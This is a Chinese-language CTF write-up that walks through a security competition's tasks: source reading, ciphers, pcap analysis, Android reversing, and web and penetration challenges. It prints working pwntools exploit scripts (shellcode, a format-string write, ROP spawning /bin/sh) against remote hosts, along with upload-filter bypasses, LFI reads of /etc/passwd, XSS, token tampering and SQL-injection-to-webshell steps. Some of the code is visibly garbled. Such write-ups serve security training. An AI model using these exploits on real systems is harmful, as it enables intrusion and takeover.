基础题 1.1 能看到吗 F12 阅读源码,在js中。
1.2 加密的地址 F12 阅读源码,在注释中。
1.3 洞察力是你取胜的关键 F12阅读源码,并没有发现什么特别的。 特地关注了一下js,其中这一段比较特别。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
eval (function (p, a, c, k, e, r) {
e = function (c) {
return c.toString(a)
};
if (!'' .replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [function (e) {
return r[e]
}];
e = function () {
return '\\w+'
};
c = 1
};
while (c--) if (k[c]) p = p.replace(new RegExp('\\b' +
e(c) + '\\b' , 'g' ), k[c]);
return p
} ('c d(){a
("6:2:3:4:0:3:4:1:e:5:b:1:2:0:5:1:0:2:7:7:0:8:5:9:0:f:4:9:8
:3:6:0")}' , 16 , 16 , '61|38|64|39|30|63|32|65|34|33|eval|
62|function|aaa|31|66' .split('|' ), 0 , {}))
稍微改改放进console运行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
myfunc = function (p, a, c, k, e, r) {
e = function (c) {
return c.toString(a)
};
if (!'' .replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [function (e) {
return r[e]
}];
e = function () {
return '\\w+'
};
c = 1
};
while (c--) if (k[c]) p = p.replace(new RegExp('\\b' +
e(c) + '\\b' , 'g' ), k[c]);
return p
}
myfunc('c d(){a
("6:2:3:4:0:3:4:1:e:5:b:1:2:0:5:1:0:2:7:7:0:8:5:9:0:f:4:9:8
:3:6:0")}' , 16 , 16 , '61|38|64|39|30|63|32|65|34|33|eval|
62|function|aaa|31|66' .split('|' ), 0 , {})
得到如下结果1
2
3
function aaa () {eval
("32:64:39:30:61:39:30:38:31:63:62:38:64:61:63:38:61:64:65:
65:61:34:63:33:61:66:30:33:34:39:32:61" )}
a. 直接运行的话并不能发生什么。 b. 尝试以十进制的方式,ASCII解析这组数据,发现出现了控制字符 c. 尝试将十六进制转成十进制,再以ASCII解析
可以获得一组类似md5的序列,将这组MD5解密后,提交明文即可获 得flag。
1.4 外表可是具有欺骗性的 F12阅读源码 发现大量的 hf
之类的字符 将这些字符保存到html文件再用浏览器打开即可获取flag。 或者使用站长工具-Unicode转中文。
1.5 看仔细了 F12阅读源码 发现有一处提示了pass和pass1 因为pass结尾处有=,所以猜测时base64。 将两个字符串解密后提交获取flag。
算法基础 2.1 神奇数 该数一定是一个 十位数 遍历即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
y=100
x = 31622
while y<10000000000 :
y = x * x
string_y = str(y)
if '1' in string_y and '2' in string_y and '3' in
string_y and '4' in string_y and '5' in string_y and '6' in
string_y and '7' in string_y and '8' in string_y and '9' in
string_y:
print string_y
print x
break
x+=1
2.2 找到它 python模拟表单提交
2.3 统计s 每两个数是相乘,其他相加。1
2
3
4
5
6
7
value = 0
for i in range (1 ,50 ):
value = value + 2 *i*(2 *i+1 )
print i
print value + 101
计算机原理 3.1 你会吗 中断码
3.2 二进制范围 20位 无符号整数的范围
0 ~ 2^20-1
3.3 ASCII与二进制 7位
加密解密 4.1 就差一步 凯撒密码 自己写一个脚本跑1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
enc_str = 'synt{91o19r02-4so7-45o6-n59o-4rqnp2o1q2nq}'
decrypt = ''
for char in enc_str:
if char == '-' or char == '{' or char == '}' :
decrypt = decrypt + char
continue
if ord(char ) >= 48 and ord(char ) <= 57 :
decrypt = decrypt + char
continue
num = ord(char )
num = num - 13
new_char = chr(num )
decrypt = decrypt + new_char
print decrypt
4.2 错误的md5 注意md5的范围 0-9,a-f 并且注意要进行解密
4.3 残缺的base64 base64中不能出现下划线_ 在下划线处穷举
4.4 这句话有点意思 ABAAB 培根密码,正体为A,斜体为B
流量分析 5.1 有选择吗? 选择题
5.2 flag呢 1
strings -a 17 .pcapng >> out
用ctrl+f 搜索flag 发现某次post的cookie很可疑
1
Says=flag% 7 B% C4 % E3 % D7 % D4 % BC% BA% BF% B4 % D7 % C5 % B0 % EC% 7 D
尝试urldecode(注意是gb2312方式而不是utf-8) 获得
如果使用wireshark的话,直接跟踪TCP流就行。
另外数据中还有一些误导项比如1
\Device\NPF_{9 CC7FA26-B4D7-42 FF-9 F1F-93077 B8C61E0}
5.3 万中有一 方法同上
1
strings -a 18 .pcapng >> out
只是ctrl+f需要多查找几次,准确的说是出现的最后一个flag
1
flag{6 c 0 d68 b0 -c 638 -4 fb5 -a8 f5 -fdc756 daf7e0 }
如果使用wireshark的话, 过滤器可以使用 tcp contains flag
5.4 大黑阔 1
strings -a 19 .pcap >> out
用wireshark提取文件
文件-导出对象-HTTP
可以提取到一张地图。
过滤器 http
观察很多数据包的data中都没有数据 直接按length 排序
最大的包的 Media Type 右键导出字节流,重命名成map.jpg。 其他数据就是两个人的聊天内容了。
这题是个很考验脑洞的题,跟踪tcp流后,逐个分析流流量包,发现是两个人在聊天。。。。聊天的内容大概是讨论放假去哪里玩,并在其中找到了一张中国地图。先把地图提取出来吧。。 地图上什么都没有。 分析对话,提到了要去王思聪100,百度,了解到是王思聪在昆明建立了第一百个广场。地图移到昆明看看。 隐隐约约看到flag,想办法处理一下图像,根据这个,半猜半蒙的把flag试出来。
逆向破解 Reverse 6.1 Reverse 1 当时做的时候有个bug,直接装上就看到了flag,做题翻了一遍源码啥都没有,忘了截图CTF{Zootopia20160304109}
6.2 Reverse 2 题目逻辑较为简单,首先进行一个表替换,然后修改了程序内存,是的函数sub_402010变换成可以的代码,前面变换时候,只有结果等于0xAFFE390F才算正确
6.3 Reverse 3 APK用jeb打开分析源码,很简单的Android代码。
程序预先保存了一个v4的值,然后与用户输入的v5进行简单的比对,如果相同则正确,否则弹出not right! lol。。。。的Toast。 懒得分析v4到底怎么生成的,直接暴力一点——修改源码
分析知,v9保存的就是flag的值
将等于修改为不等于,并把本来弹出的恭喜您,输入正确!Flag==flag{Key} 改为flag,运行更改后程序结果: file:///C:\Users\ADMINI~1.USE\AppData\Local\Temp\ksohtml\wpsFC22.tmp.jpg flag{Qv49CmZB2Df4jB-}
6.4 Reverse 4 题目apk在java层的逻辑较为简单,就是调用了check函数,然而在libCheck库中代码非常混乱,发现在init的时候,调用的修改代码段的代码
漏洞利用 Pwn 7.1 此题一开始连文件都没有,完全懵逼 没有对输入的index限制,导致可以直接到输入的buf中执行shellcode。
题目逻辑很简单,简单的加减乘除运算,漏洞在于选择运算方法的时候没有对index做限制,也就是说,可以控制idnex是的索引到可控制的位置达到控制eip的目的。
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
debug=0
if debug:
p=process('./tc1')
gdb.attach(p)
else:
p=remote('106.75.9.11',20000)
p.recv()
p.sendline('29')
p.recv()
p.sendline(p32(0x804A0A4)+'\x eb\x 1b\x 5f\x 31\x c0\x 6a\x 53\x 6a\x 18\x 59\x 49\x 5b\x 8a\x 04\x 0f\x f6\x d3\x 30\x d8\x 88\x 04\x 0f\x 50\x 85\x c9\x 75\x ef\x eb\x 05\x e8\x e0\x ff\x ff\x ff\x 1c\x 7f\x c5\x f9\x be\x a3\x e4\x ff\x b8\x ff\x b2\x f4\x 1f\x 95\x 4e\x fe\x 25\x 97\x 93\x 30\x b6\x 39\x b2\x 2c')
p.interactive()
7.2 简单格式化串利用。
题目逻辑很简单,简单的字符串格式化,但是这里需要首先改变输入的长度,否则太短,从题中可以看出,长度也存在栈中,通过格式化这是很容易的,修改长度后,就能传入511长度的buffer了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
debug=0
if debug:
p=process('./echo')
gdb.attach(p)
else:
p=remote('106.75.9.11',20001)
def send(data):
p.sendline(data)
p.recvuntil("bytes\n ")
def splitnum(n,x=0):
assert (x<4)&(x>=0)
return (n&(255<<(x*8)))>>(x*8)
def formatwrite(addr,value,offset):
payload=''
n=[]
for i in xrange(4):
payload+=p32(addr+i)+'junk'
n.append(splitnum(value,i))
payload=payload[:-4]
l=len(payload)
for i in xrange(4):
padnum=n-l
if padnum<1:
padnum+=256
l=n
payload+='
offset+=2
return payload
p.recv()
#leak stack first
p.sendline('
d=p.recv(8)
stack=int(d,16)
log.success('stack: '+hex(stack))
p.recv()
#enlarge the buf
send(p32(stack-12)+'
log.success('ret: '+hex(stack+0x210))
sc='\xeb \x 1b\x 5f\x 31\xc 0\x 6a\x 53\x 6a\x 18\x 59\x 49\x 5b\x 8a\x 04\x 0f\xf 6\xd 3\x 30\xd 8\x 88\x 04\x 0f\x 50\x 85\xc 9\x 75\xef \xeb \x 05\xe 8\xe 0\xff \xff \xff \x 1c\x 7f\xc 5\xf 9\xbe \xa 3\xe 4\xff \xb 8\xff \xb 2\xf 4\x 1f\x 95\x 4e\xfe \x 25\x 97\x 93\x 30\xb 6\x 39\xb 2\x 2c'
send(formatwrite(stack+0x210,stack+10,7))
#trigger shell!
p.sendline(p32(stack-4)+'
p.recv()
p.interactive()
pwn3 一个光秃秃的栈溢出。 使用通用rop,刚开始执行system老出错,换成execve就好了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
debug=0
gotwrite=0x601018
gotread=0x601020
def vuln(fun ,param1=0,param2=0,param3=0):
if fun =='read':
fun =gotread
elif fun =='write':
fun =gotwrite
rop=0x40062A
p.sendline('c' *72 +p64(rop)+p64(0 )+p64(1 )+p64(fun )+p64 (param3) + p64(param2) + p64(param1)+p64(0x400610 )+'1' *56 +p64(0x40057D ))
def leak(addr):
vuln('write' ,1 ,addr,8 )
data =p.recv(8 )
return data
if debug:
p=process('./qwb3' )
gdb.attach(p)
else :
p=remote('106.75.8.230' ,19286 )
p.recv()
d = DynELF(leak, elf=ELF('./qwb3' ))
exe=d.lookup('execve' , 'libc' )
log.success('execve:' +hex(exe))
data =0x601038
vuln('read' ,0 ,data ,17 )
p.sendline(p64(exe)+'/bin/sh\x00' )
import time
time.sleep(0.2 )
vuln(data ,data +8 ,0 ,0 )
p.interactive()
pwn4 完全靠猜,就是爆破。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import string
flag=''
t=string.printable[:-6 ]
err=0
for i in xrange(40 ):
for j in (t):
tmp=flag+j
succ=0
while 1 :
try :
p=remote('106.75.8.230' ,'13349' )
p.recvuntil(':' )
p.sendline('fuck' )
p.recvuntil('?' )
p.sendline('fuck' )
p.recvuntil(':' )
p.sendline(tmp)
data =p.recv()
data =p.recv()
if 'Try' in data :
flag=tmp
log.success(flag)
succ=1
p.close()
break
except:
continue
if succ:
break
print flag
Web安全 8.1 整站我也看得到 根据提示,应该是源码打包下载,开始试了几个zip和rar,最后看到提示里的gift才试出来,脑洞题。http://106.75.8.230:19209/gift.rar
猜测存在gift.rar的路径 下载解压即可获得flag
8.2 登陆 根据提示,应该是有数据库备份文件,然而,我fuzz了一天也没fuzz出来,脑洞题,最后发现是sql.sqlhttp://106.75.8.230:10211/sql.sql flag在里面
8.3 上传绕过 首先尝试txt,jpg,php,rar,avi,mp3等后缀名,以及类似Php这种的后缀名。 发现只有图片可以上传。
上传 test.Php,并拦截burp包 将 content-type 修改为 image/jpeg
或者 上传 test.jpg,并用burp拦截 将上传包的文件名修改为 test.Php
简单的上传,直接传php发现这样,改一下content-type为image/jpeg,发现提示变了 猜测是通过content-type检测的文件类型,改成图片格式就绕过了,然后显示出错,fuzz一下后缀名 直接fuzz出各种能通过的后缀,大小写什么的直接绕了。
8.4 命令执行 这题看注释得到 user user ,然后登录,发现很像linux控制台,但是很多命令都是deny,纠结了很长时间,后来随手试了一个root的万能密码就以root进去了,然后直接cd cat 拿到flag,最后朋友告诉我这是强网杯还是啥的原题,之前没做过,可惜。 两种方法,一种burp,一种直接改前端限制。
渗透测试 penetration 9.1 弹弹弹 手动检测xss存在的最常见语句
1
<script > alert(/xss/ ) </script >
输入后直接弹flag
9.2 就在其中 一个小插曲 chrome打开乱码,使用QQ浏览器自动选择编码就可以。
提示是4位数字的php
使用burpsuite Intruder 发现只有 1234.php 是200的响应,但访问后并没有任何内容。
尝试用菜刀连接1234.php,并没有成功。
回想到题目说的文件可以被调用会不会存在文件读取呢?尝试在 index.php下进行读取/etc/passwd/试试。
http://106.75.8.230:12866/index.php?file=/etc/passwd
那么已知可以读取,但是未知1234.php存在在哪里,问了下别人, 结果解释道可以尝试用伪协议直接读取base64后的源码,构造了url 为
http://106.75.8.230:12866/index.php? file=php://filter/convert.base64-encode/resource=1234.php
http://106.75.8.230:12866/?file=php://filter/read=convert.base64-encode/resource=1234.php
9.3 瞒天过海 session篡改/越权
用burp suite 交互式分析访问的HTTP数据包。 以test用户登录的时候,cookie中会得到一个token。 token=ad0234829205b9033196ba818f7a872b
检索md5明文为test2。
尝试篡改token为admin,admin2,admin1等的md5值,发现admin1可 成功登陆。
9.4 摄影师的家
感觉这还是一个不错的靶站,可以用来练习
AWVS先扫为敬 扫描结果显示还有
http://106.75.20.68/exif.asp?id=3 此处可能存在SQL注入。
测试单引号 和 “or”=”or” ,HTTP均返回500内部服务器错误。 但直接用sqlmap发现可以注入。
使用sql注入获取管理员用户名和密码。
根据AWVS扫描结果,发现后台路径为 admin/login.asp
然后说明如何拿shell,找一个地方上传个图片小马,然后利用数据 库备份,把备份路径换成图片小马的路径,然后备份地址自己自定 义后就可以了。
这题有两种方法,第一种是,前台sql注入,拿到管理员密码,一种是论坛社工拿到管理员密码。之前做过i春秋的挑战营,所以这题刚出来2分钟就秒了。 前台sql注入+后台备份文件getshell+菜刀 连了以后发现flag在C盘根目录,我记不清了。 由于是原题,这题我是第一个撸出来的。 题目现在又被撸坏了,不赘述了。
参考资料 [1] 我把第一次都给你了ctf-1
[2] 不仅有一次,还有第二次之ctf-2
[3] i春秋安全勇士30强诞生赛题解
[4] 腾讯实习挑战赛30强WriteUp
[5] 腾讯实习挑战赛通关writeup(冠军通关策略)